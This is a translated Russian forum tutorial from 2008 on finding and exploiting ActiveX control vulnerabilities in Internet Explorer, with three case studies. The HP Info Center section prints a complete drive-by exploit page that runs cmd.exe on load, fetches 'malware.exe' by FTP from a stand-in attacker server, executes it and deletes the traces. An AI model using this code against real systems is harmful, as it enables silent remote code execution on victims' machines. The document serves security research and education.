Статьи [Перевод] ActiveX - Активное применение

Discussion in 'Статьи' started by NeMiNeM, 12 Apr 2008.

  1. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    Автор: warlord [[email protected]]
    Дата: Январь, 2008
    Перевод: NeMiNeM
    www.antichat.ru


    Содержание

    1. Предисловие

    2. Введение

    3. Элементы управления и функциональность
    3.1 ProgIDs
    3.2 Kill Bit ("бит отключения")
    3.3 Особенные пользовательские управляющие элементы
    3.4 Определение экспортируемых функций

    4. Примеры
    4.1 Технологии MW6 QRCode ActiveX 3.0
    4.1.1 Перечисление экспортируемых интерфейсов
    4.1.2 Использование
    4.2. Инфо-центр HP
    4.3 AnswerWorks от Vantage Linguistics

    5. Итоги


    Раздел 1. Предисловие

    Дело в том, что на том же милворме есть много эксплойтов под ActiveX, но статей о поиске и использовании уязвимостей ActiveX не так уж и много. Если вы уже знаете очень много о ActiveX и уже даже написали свой собственный 0дэй эксплойт то мы, пожалуй, ничему новому вас не научим. Но для людей, ещё неособенно знакомых с ActiveX, эта статья будет полезной.

    Раздел 2. Введение


    Что такое ActiveX?

    Технология Microsoft ActiveX позволяет приложениям включать интерфейсные компоненты, предоставляемые другими приложениями и библиотеками. Она базируется на технологии Microsoft COM и определяет один набор интерфейсов для приложений, которые используют внешние компоненты, и другой набор - для приложений и библиотек, которые могут предоставить эти компоненты. (Больше)

    Материал из Википедии

    ActiveX (или OLE - Object Linking and Embedding) технология связывания и внедрения объектов в протокол, разработанная корпорацией Майкрософт.

    OLE позволяет передавать часть работы от одной программы редактирования к другой и возвращать результаты назад. Например, установленная на персональном компьютере издательская система может послать некий текст на обработку в текстовой редактор, либо некоторое изображение в редактор изображений с помощью OLE технологии.

    Основное преимущество использования OLE (кроме уменьшения размера файла) в том, что она позволяет создать главный файл, картотеку функций, к которой обращается программа. Этот файл может оперировать данными из исходной программы, которые после обработки возвращаются в исходный документ.


    OLE используется при обработке составных документов (англ. compound documents), может быть использована при передаче данных между различными несвязанными между собой системами посредством интерфейса переноса (англ. drag-and-drop), а также при выполнении операций с буфером обмена. Идея внедрения широко используется при работе с мульмедийным содержанием на веб-страницах (пример — Веб-ТВ), где используется передача изображение звука, видео, анимации в страницах HTML (язык гипертекстовой разметки) либо в других файлах, также использующих текстовую разметку (например, XML и SGML). Однако, технология OLE использует архитектуру «толстого клиента», то есть сетевой ПК с избыточными вычислительными ресурсами. Это означает, что тип файла либо программа, которую пытаются внедрить, должна присутствовать на машине клиента. Например, если OLE оперирует таблицами Microsoft Excel, то программа Excel должна быть инсталлирована на машине пользователя. (
    Узнать больше )
    Постоянные проблемы с безопасностью элементов управления ActiveX случаются из-за "кривизны" сторонних программ. Это позволяет использовать переполнения буфера, инъекции и друге уязвимости. Такое ощущение, что авторы не понимают, что неправильный код может быть подвергнут обработке с удалённого узла.

    В этой статье вы ознакомитесь с методами поиска, анализа и использования уязвимостей элементов управления ActiveX.


    Раздел 3. Элементы управления и функциональность

    Любая установка Windows может иметь большое число зарегистрированых COM-объектов. Но в этой статье нам только интересны те управляющие элементы ActiveX, которые можно изменить с вэб-страницы. Мы использовали много примеров с книги The art of software security assessment , которую мы рекомендуем всем, кто интересуется безопасностью приложений.

    Управляющие элементы ActiveX, как правило, но не всегда, обрабатываются путем передачи CLSID в CoCreateInstance. Соответствующий идентификатор класса (CLSID) используется как уникальное значение, которое связывается с каждым элементом управления чтоб отличить его от других. Список всех существующих CLSIDов можно найти в реестре в
    HKEY_CLASSES_ROOT\CLSID (тоже что и HKEY_LOCAL_MACHINE\Software\Classes\CLSID)

    Внутри ключа CLSID есть множество других идентификаторов класса, которые определяют управляющие элементы ActiveX. Однако, только некоторые могут быть подвергнуты обработке вэб-страницой. Управляющие элементы, отмеченные как безопасные для подготовки сценариев(скриптов) имеют такую возможность. Такой элемент должен быть частью соответствующей категории. Эта категория находится здесь: HKEY_CLASSES_ROOT\CLSID\<control clsid>\Implemented Categories
    Если элемент безопасный для скриптов, вы увидите примерно такой подключ: GUID 7DD95801-9882-11CF-9FA9-00AA06C42C4

    Подобным образом, категория "безопасные для инициализации" будет в том же месте, но немножко с другим GUID, его значение:
    7DD95802-9882-11CF-9FA9-00AA06C42C4.

    Обратите внимание! Если даже элемента управления не будет в одной из этих категорий, это ещё не значит, что его невозможно вызвать с IE. Управляющий элемент может динамически сообщать, что он безопасный для скриптов, если он обрабатывается через IE. Единственный надёжный способ это попробовать вызвать элемент и проверить его работоспособность. Axman - это приложение безопасности (автор HD Moore), которое автоматизирует поиск и проверку разных CLSID в системе. Другой подобный инструмент это ComRaider (_http://labs.idefense.com/software/fuzzing.php#more comraider) от iDefense. Он умеет создавать БД управляющих элементов, которые IE сможет обработать.

    3.1 ProgIDs

    Кроме длинного и достаточно сложного для запоминания CLSID, есть ещё другой вариант. Это использование progID - идентифицирующего управляющий элемент. Это что-то типа IP-адрессов и DNS-ов. Достаточно посмотреть на progID чтоб определить соответствующий CLSID. Когда верный CLSID определился, Интернет Эксплорер продолжает работу, как будто на первом месте мы послали CLSID.

    Чтоб эта техника работала для конкретного элемента, мы должны соблюдать два требования. Во-первых, элемент должен иметь подключ ProgID под ключем CLSID в реестре. ProgID находятся обычно в форме Program.Component.Version например SafeWia.Script.1. Во-вторых, поскольку нет смысла для Windows проверять все 2700 CLSIDов (в нашем примере) чтоб найти один нужный ProgID, сам ID программы должен иметь свой ключ в HKEY_CLASSES_ROOT с подключем CLSID.


    3.2 Kill Bit ("бит отключения")

    Иногда желательно ограничить управляющий элемент в возможности быть обработанным Интернет Эксплорером. Это можно сделать с помощью бита отключения. Для этого установите 0x00000400 в CompatibilityFlags DWORD, связанного с нужным CLSID:

    HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\<CLSID>

    3.3 Особенные пользовательские управляющие элементы
    Вместе с Windows XP, Майкрософт представила поддержку пользовательских управляющих элементов ActiveX.
    Для их установки не нужны права администратора, потому что каждый элемент - специфический для конкретного пользователя. Эти элементы можно найти в
    HKEY_CURRENT_USER\Software\Classes. Пока эта функция существует, большинство управляющих элементов ActiveX инсталируют глобально.

    3.4 Определение экспортируемых функций

    Управляющие элементы ActiveX обеспечивают выполнение различных COM интерфейсов. COM позволяет динамически посылать запросы к COM классам, используя QueryInterface, чтоб узнать какие интерфейсы используются. Это используется в Internet Explorer для безопасного доступа к элементам компонента. (интерфейс IObjectSafety)

    Раздел 4. Примеры

    4.1 Технологии MW6 QRCode ActiveX 3.0

    А сейчас мы на практике используем информацию с 3-го раздела с помощью найденных уязвимостей и эксплойта.
    Уязвим элемент от компании WM6 и он входит в “QRCode ActiveX” version 3.0. Когда мы скачали это ПО в Январе 2008, несколько месяцев после того как эксплойт разместили на милворме в Сентябре, уязвимый компонент всё ещё был частью этого пакета.

    Компонент имеет CLSID значение
    3BB56637-651D-4D1D-AFA4-C0506F57EAF8. После установки софта, его можно найти в реестре. Вот здесь: HKEY_CLASSES_ROOT\CLSID\{3BB56637-651D-4D1D-AFA4-C0506F57EAF8}.

    DLL, которая отвечает за этот элемент управления можно найти на вашем HDD в файле, который указан в ключе InprocServer32. В нашем примере это: C:\WINDOWS\system32\MW6QRC~1.DLL

    Вот так примерно выглядел наш реестр:

    [​IMG]

    Стоит здесь отметить две интересные вещи. Во-первых, ProgID имеет значение по умолчанию MW6QRCode.QRCode.1
    В соответствующем месте ProgID в реестре, то есть HKCR\MW6QRCode.QRCode.1, подключ CLSID содержит CLSID нашего компонента. Это говорит о том, что этот элемент можно обработать используя как CLSID так и ProgID.
    Во-вторых, интересно, что на рисунке отсутствует ключ Implemented Categories. А это значит, что наш компонент не относится ни к категории "безопасный для скриптов" ни к "безопасный для инициализации". Однако, похоже на то, что управляющий элемент(компонент) должен использовать IObjectSafety, поскольку всё ещё возможно обрабатывать его через IE. Этот простой html-код попытается обработать наш компонент:

    HTML:
    <body>
    <object classid=’clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8’ id=’test’>
    </object>
    </body>

    Как результат, мы видим маленький рисунок в IE. Итак, всё работает прекрасно и IE не ругается на невозможность загрузить элемент.


    4.1.1 Перечисление экспортируемых интерфейсов

    К этому времени, мы изучили, что элемент на примере может быть прекрасно обработан в IE. Теперь вопрос состоит в том, какие интерфейсы передает компонент вызывающем оператору. Мы добавили cпецифический CLSID компонента в программу ComRaider, которая показывает все используемые функции компонентов и количество ожидаемых параметров. Альтернативой к ComRaider есть т.н. "OLE-COM object viewer", который идет вместе в платформой SDK и Visual Studio.


    [​IMG]

    4.1.2 Использование

    После исследования разных функций, мы поняли, что SaveAsBMW и SaveAsWMF удачно принимают любой указанный путь, чтоб сохранить генерированное изображение в заданном месте. Благодаря этому, мы имеем возможность перезаписать существующие файлы изображением в случаи, если пользователь использует IE с достаточными правами. Это великолепный пример программы, которая использует ненадёжные данные и обрабатывает их без какой-либо проверки. Похоже на то, что автор компонент не принял во внимание безопасность в использовании своей работы.

    Пример эксплойта. Автор: shinnai. Milw0rm: http://www.milw0rm.com/exploits/4420


    4.2. Инфо-центр HP

    12-го декабря, 2007 года была обнародована уязвимость в компоненте ActiveX, который устанавливали по умолчанию на множество ноутбуков от Hewlett Packard. Брешь была найдена в программе под названием HP Info
    Center. Взломщик имел доступ для записи и для чтения в реестре, а также к выполнению произвольных команд.
    Он также мог обращаться к уязвимым функциям и запускать программы с тем же уровнем доступа, что и пользователь, который использовал IE на уязвимой системе. Porkythepig нашел и описал эту серьёзную угрозу, а также написал эксплойт.

    Управляющий элемент HP имел
    62DDEB79-15B2-41E3-8834-D3B80493887A и отвечал за перечисленные уязвимости. По умолчанию, он инсталлировался в C:\Program Files\Hewlett-Packard\HP Info Center. В своём предупреждении об опасности, porky перечислил 3 потенциально небезопасные метода и вероятные параметры:

    Code:
    VARIANT GetRegValue(String sHKey, String sectionName, String key-
    Name);
    void SetRegValue(String sHKey, String sSectionName, String sKeyName,
    String sValue);
    void LaunchApp(String appPath, String params, int cmdShow);
    В то время, как первый и второй позволяют на чтение и запись в реестр, третья функция позволяет запускать произвольные программы. Например, взломщик мог запустить cmd.exe с произвольными аргументами.

    В этом примере уязвимый компонент обеспечивал удаленный доступ к системе жертвы.
    Пример эксплойта на Milw0rm: http://www.milw0rm.com/exploits/4720

    HTML:
    <html>
    <head>
    <script language="JavaScript">
    
    
    var attackersFtpServerAddress="attacker.ftp.server";
    var attackersFtpUname="IDidntDoAnything";
    var attackersFtpPassword="password";
    var executableFileName="malware.exe";
    var cnt,p;
    
    function spawn2()
    {
    	o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo open "+attackersFtpServerAddress+
    		" >> c:\\ftpd&echo "+attackersFtpUname+">> c:\\ftpd&echo "+attackersFtpPassword+
    		">> c:\\ftpd&echo binary>> c:\\ftpd&echo get "+executableFileName+
    		"c:\\"+executableFileName+" >> c:\\ftpd&echo quit>> c:\\ftpd",0);
    	o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo cd c:\\>> c:\\ftpd.bat"+
    		"&echo ftp -s:ftpd>> c:\\ftpd.bat&echo start c:\\"+executableFileName+
    		" >> c:\\ftpd.bat",0);
    	o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C c:\\ftpd.bat&del "+
    		"c:\\ftpd.bat&del c:\\ftpd&del c:\\"+executableFileName,0);
    }
    
    </script>
    </head>
    
    <body onload="spawn2()">
    <object ID="o2obj" WIDTH=0 HEIGHT=0
       classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
    </object>
    </body>
    </html>
    4.3 AnswerWorks от Vantage Linguistics

    Третий и последний пример различных уязвимостей ActiveX это продукт AnswerWorks от Vantage Linguistics.
    Предупреждение об опасности были изданы в декабре 2007. Элемент awApi4.AnswerWorks.1 экспортирует несколько функций, которые способны привести к переполнению буфера. Функции GetHistory(), GetSeedQuery() и SetSeedQuery() не могут обрабатывать долгие строки злоумышленных вэб-страниц. Таким образом, переполнения буфера в стеке позволяет выполнять произвольный код, как показывает e.b. в своём PoC, который биндит шелл на 4444 порту, если эксплойт сработал.

    Когда эксплойт загружается с сервера, он обрабатывает CLSID и связывает созданный объект с переменной obj. Потом вызывает функцию GetHistory() с строкой с 214 буквами "А", чтоб заполнить буфер. После чего идет адрес возврата, который перезаписывает тот, что сохранен в стеке. После 4 байтов идёт 12 НОПов и в конце концов - шелкод. Как вы можете увидеть, эксплойт основан на тех же техниках, что и множество других эксплойтов, основанных на стеке.

    Пример эксплойта можете найти на Milw0rm: http://www.milw0rm.com/exploits/4825


    Раздел 5. Итоги


    В статье были рассмотрены некоторые уязвимости ActiveX. Центром внимания были основные технологии и проблемы безопасности. Мы попытались передать читателю основы исследования элементов ActiveX с точки зрения безопасности. Мы надеемся, что смогли заинтересовать вас и помочь вам в дальнейшем изучении ActiveX, используя уже приобретённые знания.

    Оригинал статьи в формате PDF

    NeMiNeM
    Специально для antichat.ru

    ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить :) Спасибо.
     
    6 people like this.